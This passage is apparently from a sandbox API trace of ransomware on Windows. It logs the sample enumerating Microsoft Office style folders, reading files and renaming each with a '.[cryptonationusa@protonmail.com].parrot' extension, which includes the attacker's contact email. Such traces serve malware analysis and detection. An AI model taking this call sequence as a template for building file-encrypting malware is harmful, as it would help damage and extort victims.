office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.885] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.885] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1e22a60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1e22a60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.885] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf1dfc900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BUTTON~1.PAR")) returned 1 [0170.885] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.885] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.887] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.887] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd01, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd01, lpOverlapped=0x0) returned 1 [0170.887] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.891] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.891] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.892] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.892] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9fe, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x9fe, lpOverlapped=0x0) returned 1 [0170.893] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.893] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.896] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.897] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.897] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.897] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.897] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.897] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0170.898] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.898] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.899] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.899] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe9, lpOverlapped=0x0) returned 1 [0170.899] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.900] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.906] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.907] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.908] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.908] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcbd, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xcbd, lpOverlapped=0x0) returned 1 [0170.908] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.912] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.913] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.913] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.914] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1ce, lpOverlapped=0x0) returned 1 [0170.914] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.919] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.920] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.920] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.921] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x108, lpOverlapped=0x0) returned 1 [0170.921] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.925] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.925] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1e6ed20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1e6ed20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.925] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf1e48bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0170.926] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.926] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.927] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.927] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6a, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd6a, lpOverlapped=0x0) returned 1 [0170.928] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.931] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.932] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.932] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.932] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.932] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.932] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0170.933] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.933] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.934] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.934] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x32f, lpOverlapped=0x0) returned 1 [0170.934] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.939] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.940] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.941] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.941] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6993, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x6993, lpOverlapped=0x0) returned 1 [0170.943] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.948] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.948] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.948] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.949] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x155, lpOverlapped=0x0) returned 1 [0170.949] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.949] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.953] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.953] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.954] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.954] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xde, lpOverlapped=0x0) returned 1 [0170.955] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.955] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.958] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.958] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1ee1140, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1ee1140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.959] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf1e94e80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0170.959] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.959] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0171.003] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.003] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd04, lpOverlapped=0x0) returned 1 [0171.003] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.012] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.012] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, 